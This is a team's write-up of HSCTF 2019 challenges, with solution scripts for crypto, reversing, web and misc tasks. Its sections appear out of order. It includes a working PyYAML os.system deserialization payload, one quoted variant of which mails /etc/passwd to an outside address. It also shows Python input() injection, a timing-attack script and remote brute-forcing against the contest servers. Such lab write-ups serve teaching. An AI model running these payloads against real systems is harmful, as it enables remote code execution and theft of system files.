```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5] g=((l+1)*(l+2)//2)-1 if(out[:g]==ans[:g]): flag+=charset[x] break x+=1 l+=1
print('The flag is:hsctf{'+flag+'}')```The flag is: `hsctf{:hyperthonk:}`
## Tux Talk Show 2019:> description:
### Solution:
For this challenge it says about a lucky number.```Welcome to Tux Talk Show 2019!!!Enter your lucky number:```So we opened the ghidra for pseudocode:```c// modified a bit by me int main(int argc,char **argv)
{ long lVar1; int rand; time_t time; basic_ostream *this; long in_FS_OFFSET; int input; int i; int acc; int j; int array [6]; basic_string output_string [32]; basic_istream output_stream [520]; long stack_cookie_i_guess; lVar1 = *(long *)(in_FS_OFFSET + 0x28); basic_ifstream((char *)output_stream,0x1020b0); time = time((time_t *)0x0); srand((uint)time); /* try { // try from 0010127e to 001012c0 has its CatchHandler @ 00101493 */ this = operator<<<std--char_traits<char>> ((basic_ostream *)cout,"Welcome to Tux Talk Show 2019!!!"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>); operator<<<std--char_traits<char>>((basic_ostream *)cout,"Enter your lucky number: "); operator>>((basic_istream<char,std--char_traits<char>> *)cin,&input); array[0] = 0x79; array[1] = 0x12c97f; array[2] = 0x135f0f8; array[3] = 0x74acbc6; array[4] = 0x56c614e; array[5] = -0x1e; i = 0; while (i < 6) { rand = rand(); array[(long)i] = array[(long)i] - (rand % 10 + -1); i = i + 1; } acc = 0; j = 0; while (j < 6) { acc = acc + array[(long)j]; j = j + 1; } if (acc == input) { ... } return 0;}```here we have 6 numbers in an array and its being added after subtracting this `(iVar1 % 10 + -1)`and if our assumed number is correct than it will give the flag for us.
So two ways we can solve it ,during the team discussion over this challenge I told them that I can write brute as the numbers are in the small range i.e 51 .Meanwhile the other way as my teammate suggested was to attack the rand function . I would explain both here.
```pythonfrom pwn import *
a=[121, 1231231, 20312312, 122342342, 90988878, -30]host="rev.hsctf.com"port=6767
m=sum(a)-48g=sum(a)+6 # setting the rangeinp=m+16 #this is where i am guessing the number and try to run multiple times in the loopwhile inp<g+1: try: s=remote(host,port) print(s.recvline()) s.sendline(str(inp)) j=s.recvline() if "hsctf{" in j: print(j) s.close() exit(0) print(j) except: s.close() sleep(1) continue```Luckily, I got the flag from there `hsctf{n1ce_j0b_w4th_r4ndom_gue33ing}` The second approach is here, save it as time.c and compile to a.out:```c#include "stdio.h"#include "stdlib.h"
int main(int argc, char *argv[]) {
time_t t; srand((unsigned) time(&t);;
int array[6] = {0x79, 0x12c97f, 0x135f0f8, 0x74acbc6, 0x56c614e, -0x1e};
int acc = 0; for(int i = 0; i < 6; i++) acc += array[(long)i] - (rand() % 10 + -1);
printf("%d\n", acc); return 0;}```and use it over this script ```pythonfrom pwn import *import time
host = "rev.hsctf.com"port = 6767
s = remote(host,port)p = process("./a.out")
res = p.recvline()
s.recvuntil(':')s.sendline(res)s.interactive()```That's it , An attack over the rand function while running the netcat server.
## Bitecode -:> description:
### Solution:This Challenge was done by Lucas my teammate So I will try to explain as far as i know as he is not writing writeups.
http://www.javadecompilers.com/ Use it for decompiling the given class file to [java file](assets/reversing/BiteCode.java).
So lot of ifs for checking single characters of the flag one by one .So using regexes he extracted them and tried to write a brute to choose them.
[Watch this video](https://youtu.be/rYOZHB_ABlo)[](https://youtu.be/rYOZHB_ABlo)
<video src="assets/reversing/regexislife.mp4" width="320" height="200" controls preload></video>
So that's it to write a script to get the flag:smiley:.```pythonb = ['A'] * 28for i in range(0xff): if (i ^ 189074585) - 189074673 == 0: b[0] = i if (i ^ -227215135) - -227215214 == 0: b[1] = i if (i ^ 19240864) - 19240899 == 0: b[2] = i if (i ^ 245881291) - 245881279 == 0: b[3] = i if (i ^ 233391094) - 233390992 == 0: b[4] = i if (i ^ 56978353) - 56978378 == 0: b[5] = i if (i ^ -213838484) - -213838565 == 0: b[6] = i if (i ^ -231671677) - -231671605 == 0: b[7] = i if (i ^ -132473862) - -132473910 == 0: b[8] = i if (i ^ 143449065) - 143449053 == 0: b[9] = i if (i ^ 108102484) - 108102411 == 0: b[10] = i if (i ^ 71123188) - 71123073 == 0: b[11] = i if (i ^ 146096006) - 146096089 == 0: b[12] = i if (i ^ -173487738) - -173487628 == 0: b[13] = i if (i ^ -116507045) - -116507132 == 0: b[14] = i if (i ^ -68013365) - -68013319 == 0: b[15] = i if (i ^ 171414622) - 171414529 == 0: b[16] = i if (i ^ 94412444) - 94412524 == 0: b[17] = i if (i ^ 197453081) - 197453163 == 0: b[18] = i if (i ^ -50622153) - -50622201 == 0: b[19] = i if (i ^ 190140381) - 190140290 == 0: b[20] = i if (i ^ 77383944) - 77383996 == 0: b[21] = i if (i ^ -41590082) - -41590047 == 0: b[22] = i if (i ^ 61204303) - 61204283 == 0: b[23] = i if (i ^ -24637751) - -24637791 == 0: b[24] = i if (i ^ 61697107) - 61697122 == 0: b[25] = i if (i ^ 267894989) - 267895017 == 0: b[26] = iprint(''.join([chr(i) for i in b[:-1]]))```Here's the flag `hsctf{wH04_u_r_2_pr0_4_th1$}`
# **WEB**
## MD5-- :> description:
### Solution:
```php
```From this you can see that flag contains the data of flag file and then value of md4 variable is set and after its value is compared to the md4(value) and then only we can obtain flag.
One thing to note that '==' comparison is used. This is where Type juggling comes. See for more [PHP Magic Tricks: Type Juggling](https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf)
So what we will try to do to pick up a string which prefix would be '0e' for a reason then adding numbers ahead then calculate its md4 which will be equal to `/0e[0-9]{30}/`.So when the comparison is to be made then the strings will be treated as exponent of 0 (like 0e4=0). Thus both sides will be zero hence we will have our flag.```php {}".format(st, hashed_s) sys.exit(0) if s%10000000==0: print("[+] %d iterations done"%(s))
breakit()```Running this we get this after more than 250000000 iterations.> [+] found! md4( 0e251288019 ) ---> 0e874956163641961271069404332409
Here's our flag `hsctf{php_type_juggling_is_fun}`
## Networked Password -:> description:
### Solution:
We are given a https://networked-password.web.chal.hsctf.com/ which prompts us to submit a password having a simple form to fill it up, but from the description we see thats its delays some thing we don't know what until i saw a time differnece in our inputs like for a gibberish we see fast output but for a flag like "hsctf{" it delayed a bit. And there was a hint given as well-:
> Hint : You know the flag format
So after attempting few times i got that every character adds 0.45-0.5 seconds.But running this script you need a better internet connection.So i tried running using online interpeter there's are ton of available. You can use https://repl.it/languages/python3 or https://codeanywhere.com/editor/ you need these because of their fast servers.
And At last my first *timing attack challenge*. ```pythonimport requestsimport datetime
URL="https://networked-password.web.chal.hsctf.com/"charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%*-'"flag="hsctf{"
DATA={'password':flag}r=requests.post(url=URL,data=DATA)realtime=r.elapsed.total_seconds()print("The Current Time:"+str(realtime)) # printing for debugging
for i in range(len(charset)): DATA={'password':flag+charset[i]} r=requests.post(url=URL,data=DATA) nexttime=r.elapsed.total_seconds() print("[+]Testing:"+str(nexttime)) # printing for debugging if(realtime+0.4<nexttime): realtime=nexttime if(charset[i]=='}'): print("The final flag is"+flag ) exit(0) flag+=charset[i] print("Current flag->"+ flag) i=0exit(0)```Here's the flag after so much running `hsctf{sm0l_fl4g}`Glad they had the small flag.
# **FORENSICS**
## Double Trouble :
> description:
### Solution:
After downloading image you see both are quite similar .
 
So, First thing i did to check hexes and I see bytes aren't similar . Then first thing first for a forensic challenge [stegsolve](https://github.com/zardus/ctf-tools/blob/master/stegsolve/install).
Opening it on command line `java -jar stegsolve.jar`
I tried image combiner to do AND , OR , XOR operations.But no luck.So i tried strings exiftool then reached zsteg and the output was:```streaker@DESKTOP-DS7FIJL:$ zsteg koala.png/usr/lib/ruby/2.5.0/open3.rb:199: warning: Insecure world writable dir /mnt/c in PATH, mode 040777imagedata .. text: "\n\n\n\n\n\n !"b1,b,lsb,xy .. text: "%q&),52+"b1,bgr,lsb,xy .. text: " |
A High School CTF event.
We tried to solve challenges as much as possible we can and as a result we secured 23rd position globally.

As you can see from the image we lacks in binary exploitation or pwn challenges field.If anyone interested can contact us :smiley:.
Challenge Name | Points | Flag------------ | ------------- | --------------- [A Simple Conversation](#a-simple-conversation-)| 158| hsctf{plz_u5e_pyth0n_3} |[Broken Repl](#broken_repl-) | 407| hsctf{dont_you_love_parsers} |[Hidden Flag](#hidden-flag-) | 290 | hsctf{n0t_1nv1s1bl3_an5m0r3?-39547632} |[64+word](#64word--) | 421| hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?} |[Broken gps](#broken-gps-) | 280| hsctf{garminesuckz} |[Real Reversal](#realreversal-) | 274| hsctf{utf8_for_the_win} |[Json Info](#jsoninfo-) | 427| hsctf{JS0N_or_Y4ML} |[Massive Rsa](#massive-rsa-) | 256 | hsctf{forg0t_t0_mult1ply_prim3s} |[Really Secure Algorithm](#really-secure-algorithm-) | 314 | hsctf{square_number_time} |[Tux Kitchen](#tux-kitchen-) | 401 | hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621} |[I Thought Trig Was Really Easy](#i-thought-trig-was-really-easy-) | 374 |hsctf{:hyperthonk:} |[Tux Talk Show 2019](#tux-talk-show-2019) | 406 | hsctf{n1ce_j0b_w4th_r4ndom_gue33ing} |[Bitecode](#bitecode--) | 377|hsctf{wH04_u_r_2_pr0_4_th1$} |[MD5--](#md5---) | 230 | hsctf{php_type_juggling_is_fun} |[Networked Password](#networked-password--) | 314 | hsctf{sm0l_fl4g} |[Double Trouble](#double-trouble-)| 397| hsctf{koalasarethecutestaren'tthey?}
So I will try to discuss the challenges i loved the *most* here:
# **MISC**
## A Simple Conversation-:> description:
### Solution: On looking to the section of source code we see
```pythonprint("What's your age?")
age = input("> ")
sleep(1)
```Then I try to think that when it parses the input to input() function then it tries to evaluate it first that is it string , dictionary ,tuple or etc.? So guessing the flag on the server I try to send the arguments as you can see.
```streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag").read()Traceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>IOError: [Errno 2] No such file or directory: 'flag'streaker@DESKTOP-DS7FIJL:$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> open("flag.txt").read()Wow!Sometimes I wish I was hsctf{plz_u5e_pyth0n_3}...```There you can see the flag:`hsctf{plz_u5e_pyth0n_3}`
## Broken_Repl-:> description:
### Solution: ```python try: # try to compile the input code = compile(line, "<input>", "exec") # compile the line of input except (OverflowError, SyntaxError, ValueError, TypeError, RecursionError) as e: # user input was bad print("there was an error in your code:", e) # notify the user of the error if False: exec(code) # run the code # TODO: find replacement for exec # TODO: exec is unsafeexcept MemoryError: # we ran out of memory # uh oh # lets remove the flag to clear up some memory print(flag) # log the flag so it is not lost```You can see that you have to cause memory error only. So my teammate Lucas looked on web and finds out [this](https://stackoverflow.com/questions/50709371/ast-literal-eval-memory-error-on-nested-list).So you can see that we can cause memory error from nested list.Great learning :smiley:
```pythonecho "[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]" | nc misc.hsctf.com 8550>>> s_push: parser stack overflowhsctf{dont_you_love_parsers}```There is the flag:`hsctf{dont_you_love_parsers}` ## Hidden Flag-:> description:
### Solution: I opened up my hexeditor HXD a great tool to change and view the hexes of file quite easily and I see messed up bytes in beginning. Then at the end of the file i see some text `key is invisible`. So then i realise that the bytes must be xored with the key and we got it by this [script](assets/misc/fixchall.py). ```pythonimport binasciifrom itertools import cycle,izip
f=open("chall.png")g=(f.read())key="invisible"ciphered = ''.join(chr(ord(c)^ord(k)) for c,k in izip(g, cycle(key)))l=open("fixed.png","a+")l.write(ciphered)
```That's it :smiley:
## 64+Word -:> description:
### Solution :So from the description we see the word search and challenge name is 64+. So we need to do base64 word search of flag.Be sure as the base64 encode texts are multiple of 4 . So choose the texts accordingly.Here is the [Script](/assets/misc/ord64.py)
```pythonfrom base64 import *file=open("64word.txt")data=file.read().split("\n")o=0while o<100: g=data[o:] for q in range(100): j=q s="" for i in g: if j>=len(i): break s+=i[j] j+=1 possible_text=(b64decode(s[:4*(len(s)//4)])) if "hsctf{" in possible_text[:6]: end_ind=possible_text.find('}')+1 print("The flag is "+ possible_text[:end_ind] ) exit(0) o+=1
```
then there is the flag:`hsctf{b4s3_64_w0rd_s3arch3s_ar3_fu9?}`
## Broken gps-:> description:Input Format:
A challenge to test some coding skills.
### Solution:Here's the [script](assets/misc/dir_gps.py) thats explain it all.
```pythonimport math
suffix=".txt"flag=""dirs=["east","west","south","north","northwest","northeast","southeast","southwest"]for i in range(1,13): up=0 right=0 filename=str(i)+suffix f=open(filename) h=(f.read()).split() for q in range(int(h[0])): pos=dirs.index(h[q+1]) if pos==0 or pos==5 or pos==6: right+=1 if pos==1 or pos==4 or pos==7: right-=1 if pos==3 or pos==4 or pos==5: up+=1 if pos==2 or pos==6 or pos==7: up-=1 flag+=chr(round(math.sqrt(up*up+right*right)*2)%26+97)print('hsctf{'+flag+'}') ```and here is the output:>hsctf{garminesuckz}
another script as well written by teammate in a more formal way :```pythonimport numpy as npfrom math import sqrt
dict_direction = { "north": np.array([ 0.0, 1.0]), "northeast": np.array([ 1.0, 1.0]), "northwest": np.array([-1.0, 1.0]), "east": np.array([ 1.0, 0.0]), "south": np.array([ 0.0,-1.0]), "southeast": np.array([ 1.0,-1.0]), "southwest": np.array([-1.0,-1.0]), "west": np.array([-1.0, 0.0])}
def distance(point1, point2): x1, y1 = point1 x2, y2 = point2 return sqrt((x2 - x1)**2 + (y2 - y1)**2)
flag = ""
for filename in range(1,13):
position_wrong = np.array([0.0, 0.0]) position_right = np.array([0.0, 0.0])
with open(f"{filename}.txt") as f: coords = f.read().strip().split('\n')[1:]
for coord in coords: position_wrong += dict_direction[coord] position_right -= dict_direction[coord]
flag += chr(ord('a') + round(distance(position_wrong, position_right)) % 26)
print(f"hsctf{{{flag}}}")```
## RealReversal-:> description:
### Solution:On opening file we see
Reversing the file means reversing the hexes.So one liner will do that
```open("reversed_reversed.txt", "wb").write(open("reversed.txt", "rb").read()[::-1])```
and on opening reversed file you see utf-8 chars
Explanation:Why it happens that on the reverse bytes we can't see any characters, because
>UTF-8 is a variable width character encoding capable of encoding all 1,112,064 valid code points in Unicode using one to four 8-bit bytes.
So on reversing 8 bytes it messed up as it reversed in two parts of four and four.Thus resulting in random chars.So you can see the flag now in reverse order:`hsctf{utf8_for_the_win}`
## JsonInfo-:> description:
### Solution:Trying few thing we see that it accepts string and shows that it's json or give the error otherwise.So we quite stuck on thinking that what kind of error we have to produce.Then googling skills had to come as it is misc, so we found a beautiful [link](https://bzdww.com/article/164589/) and in section 5 we see yaml.loadand here is the warning:
>Refer to the PyYAML documentation:
>Warning: It is not safe to call yaml.load with data received from an untrusted source! Yaml.load is just as powerful as pickle.load, so you can call any Python function.In this beautiful example found in the popular Python project Ansible , you can provide this value as (valid) YAML to Ansible Vault, which calls os.system() with the parameters provided in the file.
>!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]Therefore, effectively loading YAML files from user-supplied values will open the door for attacks.
>repair:
>Always use yaml.safe_load unless you have a very good reason.
So we tried to do these thing as instructed here to see if the vulnerability is here:
```Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat /etc/passwd "]root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsyslog:x:101:102::/home/syslog:/usr/sbin/nologinType int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!
```So, yeah the vulnerability is here, Great!!!
```streaker@DESKTOP-DS7FIJL:$ nc -q 1 misc.hsctf.com 9999Welcome to JSON info!Please enter your JSON:!!python/object/apply:os.system ["cat flag.txt"]hsctf{JS0N_or_Y4ML}Type int is unsupportedPlease use a valid JSON array or objectThank you for using JSON info!```The flag is:`hsctf{JS0N_or_Y4ML}`
# **CRYPTO**
## Massive Rsa-:> description:
### Solution:
We are given with large modulus and ciphertext```n = 950687172821200540428729809153981241192606941085199889710006512529799315561656564788637203101376144614649190146776378362001933636271697777317137481911233025291081331157135314582760768668046936978951230131371278628451555794052066356238840168982528971519323334381994143826200392654688774136120844941887558297071490087973944885778003973836311019785751636542119444349041852180595146239058424861988708991060298944680661305392492285898022705075814390941667822309754536610263449507491311215196067928669134842614154655850281748314529232542980764185554607592605321212081871630106290126123668106453941684604069442637972979374182617204123679546880646955063471680804611387541602675808433185504968764805413712115090234016146947180827040328391684056285942239977920347896230959546196177226139807640271414022569186565510341302134143539867133746492544472279859740722443892721076576952182274117616122050429733446090321598356954337536610713395670667775788540830077914016236382546944507664840405622352934380411525395863579062612404875578114927946272686172750421522119335879522375883064090902859635110578120928185659759792150776022992518497479844711483878613494426215867980856381040745252296584054718251345106582780587533445417441424957999212662923937862802426711722066998062574441680275377501049078991123518677027512513302350533057609106549686502083785061647562269181863107725160293272971931807381453849850066056697913028167183570392948696346480930400320904644898839942228059188904225142187444604612121676565893284697317106343998167640380023972222033520190994951064491572372368101650142992876761420785551386138148283615194775971673577063363049929945959258097086463812469068598955485574579363616634109593903116561526921965491646400040600138481505369027344295330767163087489333402201631708610718911106905154471963379233672543874307197342217544783263700843246351822145605839955798639016346308363889766574606793652730311687899415585873892778899179927359964882217066947566799298173326850382334054179474389651499891117938361854701587568363867264590395711833275763832842002504433841816245069655064326325306033334336469743800464944131049874472540605264250854258280373869113420817955012823462838351481855289027030577957168468047751024562853260494808998446682723835213272609799649864902376137320638444968430858790173696935815430513690803796736064125183005539073920032869713201073105497655763097638587404309062750746064609677994654409535743453776560694719663801069746654445359756195253816544699551e = 65537c = 358031506752691557002311547479988375196982422041486602674622689505841503255891193495423484852537391230787811575487947331018616578066891850752360030033666964406349205662189685086812466246139857474435922486026421639388596443953295273675167564381889788905773472245885677132773617051291379731995063989611049809121305468803148551770792609803351375571069366930457307762595216806633327492195442616272627113423143562166655122764898972565860928147259322712805600875994388377208017608434714747741249858321487547543201109467214209112271771033615033493406609653861223917338109193262445432032609161395100024272041503554476490575517100959892951805088735483927048625195799936311280172779052715645263075391841840633949032397082918665057115947698884582406130793211266028238396814146117158924884049679536261009188784571232730683037831940224049822081316216826346444136538278601803972530054219050666898301540575647763640218206611889707353810593843233814867745903144987805142815936160730054575462147126944741419094810558325854901931279755547624294325463528887326262902481099025253153222985717157272371423956465138892784879439141174797253720403065191378958340033965895823856879711180993895832306970105743588207727415495184380531676665121800713201192348940665501790550763379781627493441276077597720109700408848080221149485596419299548121287851605588246207568970548444975309457244824469026820421430723018384050095117420646392648577894835705672984626936461419833136418809219064810002991383584690376016818146065548853387107821627387061145659169570667682815001659475702299150425968489723185023734605402721950322618778361500790860436305553373620345189103147000675410970964950319723908599010461359668359916257252524290941929329344189971893558606572573665758188839754783710992996790764297302297263058216442742649741478512564068171266181773137060969745593802381540073397960444915230200708170859754559500051431883110028690791716906470624666328560717322458030544811229295722551849062570074938188113143167107247887066194761639893865268761243061406701905009155852073538976526544132556878584303616835564050808296190660548444328286965504238451837563164333849009829715536534194161169283679744857703254399005457897171205489516009277290637116063165415762387507832317759826809621649619867791323227812339615334304473447955432417706078131565118376536807024099950882628684498106652639816295352225305807407640318163257501701063937626962730520365319344478183221104445194534512033852645130826246778909064441514943```It's really large. So I thought to check anyways on ecc factoring for its to be prime and we got that its really a massive prime number.So then I realize that choosing a large modulus so that it can be factorized into p & q which should be unknown for the sake of security. But if its a prime number then we have to just calculate euler totient of n i.e. n-1 to exploit it, and then calculate `d=modInverse(e,phi(n))` and tada! we have private exponent, then just basic stuffs.```python>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{forg0t_t0_mult1ply_prim3s}'```So the flag is :`hsctf{forg0t_t0_mult1ply_prim3s}`
## Really Secure Algorithm-:> description:
### Solution:
We are given with modulus and ciphertext```n = 263267198123727104271550205341958556303174876064032565857792727663848160746900434003334094378461840454433227578735680279553650400052510227283214433685655389241738968354222022240447121539162931116186488081274412377377863765060659624492965287622808692749117314129201849562443565726131685574812838404826685772784018356022327187718875291322282817197153362298286311745185044256353269081114504160345675620425507611498834298188117790948858958927324322729589237022927318641658527526339949064156992164883005731437748282518738478979873117409239854040895815331355928887403604759009882738848259473325879750260720986636810762489517585226347851473734040531823667025962249586099400648241100437388872231055432689235806576775408121773865595903729724074502829922897576209606754695074134609e = 65537c = 63730750663034420186054203696069279764587723426304400672168802689236894414173435574483861036285304923175308990970626739416195244195549995430401827434818046984872271300851807150225874311165602381589988405416304964847452307525883351225541615576599793984531868515708574409281711313769662949003103013799762173274319885217020434609677019589956037159254692138098542595148862209162217974360672409463898048108702225525424962923062427384889851578644031591358064552906800570492514371562100724091169894418230725012261656940082835040737854122792213175137748786146901908965502442703781479786905292956846018910885453170712237452652785768243138215686333746130607279614237568018186440315574405008206846139370637386144872550749882260458201528561992116159466686768832642982965722508678847```Then I factored n on factordb.I got that n is the square of a prime number.Then just again simple basic stuffs calculate euler totient of n i.e. p*(p-1) , and then calculate `d=modInverse(e,phi(n))` and tada we have private exponent, then just basic stuffs.
```>>> p=16225510719965861964299051658340559066224635411075742500953901749924501886090804067406052688894869028683583501052917637552385089084807531319036985272636554557876754514524927502408114799014949174520357440885167280739363628642463479075654764698947461583766215118582826142179234382923872619079721726020446020581078274482268162477580369246821166693123724514271177264591824616458410293414647>>> import gmpy2>>> d=gmpy2.invert(e,p*(p-1))>>> import binascii>>> binascii.unhexlify(hex(pow(c,d,n))[2:])'hsctf{square_number_time}'```So the flag is :`hsctf{square_number_time}`
## Tux Kitchen-:> description:
### Solution:Here's the problem
```pythonimport random
good_image = """ TUX's KITCHEN ..- - . ' `. '.- . .--. . |: _ | : _ :| |`(@)--`.(@) | : .' `-, : :(_____.-'.' ` : `-.__.-' : ` _. _. . / / `_ ' \\ . . : \\ \\ . : _ __ .\\ . . / : `. \\ : / ' : `. . ' ` : : : `. .`_ : : / ' | :' \\ . : '__ : .--' \\`-._ . .' : `). ..| \\ ) : '._.' : ; \\-'. ..: / '. \\ - ....- | ' -. : _____ | .' ` -. .'-- --`. .' `-- -- """
flag = open('flag.txt','r').read()MY_LUCKY_NUMBER = 29486316
# I need to bake special stuff!def bake_it(): s = 0 for i in range(random.randint(10000,99999)): s = random.randint(100000000000,999999999999) s -= random.randint(232,24895235) return random.randint(100000000000,999999999999)
# Create my random messdef rand0m_mess(food,key): mess = [] mess.append(key) art = key bart = bake_it() cart = bake_it() dart = bake_it() for i in range(len(food)-1): art = (art*bart+cart)%dart mess.append(art) return mess
# Gotta prepare the food!!!def prepare(food): good_food = [] for i in range(len(food)): good_food.append(food[i]^MY_LUCKY_NUMBER) for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER return good_food
# Bake it!!!def final_baking(food,key): baked = rand0m_mess(food,key) treasure = [] for i in range(len(baked)): treasure.append(ord(food[i])*baked[i]) treasure = prepare(treasure) return treasure
print(good_image)key = bake_it()print(final_baking(flag,key))```great image .So at first we reversed the prepared treasure,but look closely here ```for k in range(len(good_food)): good_food[i] += MY_LUCKY_NUMBER```Iterator is k but i is used that is constant So we need to just xor for all the numbers with the lucky number.Then to reverse this line `treasure.append(ord(food[i])*baked[i])`
I need to find `baked[i]` for which I see the random_mess function which is nothing other than [LCG](https://en.wikipedia.org/wiki/Linear_congruential_generator) itself.So we know the starting of flag is 'hsctf{'.Then accordingly we calculated first six values of the sequence and with the help of works of msm from p4team on lcg we used the [script](assets/crypto/fullscript.py) to get the flag .This might fail sometime because of gcd(modulo , numbers ) !=1 or modulus isn't prime .So we have to test this for a while to get the result.
```pythonfrom functools import reducefrom gmpy2 import *
def crack_unknown_increment(states, modulus, multiplier): increment = (states[1] - states[0]*multiplier) % modulus return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus): multiplier = (states[2] - states[1]) * invert(states[1] - states[0], modulus) % modulus return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states): diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])] zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])] modulus = abs(reduce(gcd, zeroes)) return crack_unknown_multiplier(states, modulus)
st=input("enter the states:")g=stfor i in range(len(g)): g[i]^= 29486316 # the lucky number#print("treasure",g) #check for purpose flag="hsctf{"m=[]for i in range(len(flag)): if g[i]%ord(flag[i])==0: m+=[g[i]//ord(flag[i])] n,k,d = crack_unknown_modulus(m)print('modulo-> %d \t multiplier-> %d \t increment -> %d ' % (n,k,d))
w=[m[0]]for q in range(1,70): w+= [(w[q-1]*k+d) % n] # the sequence
if m==w[:6]: print("this worked") # usual checkans=[]for i in range(70): ans+=[g[i]//w[i]] #generating flag
print(''.join(chr(i) for i in ans))
```
If you want to test this for yourself here are the [used numbers](assets/crypto/ans.txt):-Here is the flag after we ran the script `hsctf{thiii111iiiss_isssss_yo0ur_b1rthd4y_s0ng_it_isnt_very_long_6621}`
# **REVERSAL**
## I Thought Trig Was Really Easy-:> description:
### Solution:
The problem is here as:
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96
inp = input("Enter the text: ")
out = []for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
ans = [-25, 1, 10, 7, 4, 7, 2, 9, 3, 8, 1, 10, 3, -1, -8, 3, -6, 5, -4, 7, -5, 8, -3, 10, -1, 12, 10, 7, -6, 9, -4, 11, -2, 13, -2, -11, 6, -9, 8, -7, 10, -5, 12, 1, -12, 7, -10, 9, -8, 11, -6, 13, -4, 11, 6, -13, 8, -11, 10, -9, 12, -7, 14, -5, 22, -16, 7, -14, 9, -12, 11, -10, 13, -8, 15, -6, -2, 2, -21, 4, -19, 6, -17, 8, -15, 10, -13, 12, -11, 5]if (out == ans): print("That is correct! Flag: hsctf{" + inp + "}")else: print("Nope sorry, try again!")```So we see lot_of_nums which is very wierd trying to reverse the function looks difficult .So we see that each position of the flag depends upon the length of the flag and the character in this line `nice_math(get_number(inp[i]), len(inp) - i), i + 1`.That's nice_math function also looks difficult to reverse.
So I tried to simply bruteforce it on the set of characters and we calculated the length of the flag on the basis of length of list ans `(((12+1)*(12+2)/2)-1)`.This was faster to do so i did it!
```pythonimport math
def nice_math(x, y): return round(x + y*math.cos(math.pi * x))
lots_of_nums = lambda n,a:(lambda r:[*r,n-sum(r)])(range(n//a-a//2,n//a+a//2+a%2))
def get_number(char): return ord(char) - 96charset="_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!:@#$%*-'"inp = ""flag=""l=1while l<=12: x=0 while x<len(charset): inp=flag+charset[x]+"b"*(12-l) assert(len(inp)==12) out = [] for i in range(0, len(inp)): for j in lots_of_nums(nice_math(get_number(inp[i]), len(inp) - i), i + 1): out.append(nice_math(j, i + 1))
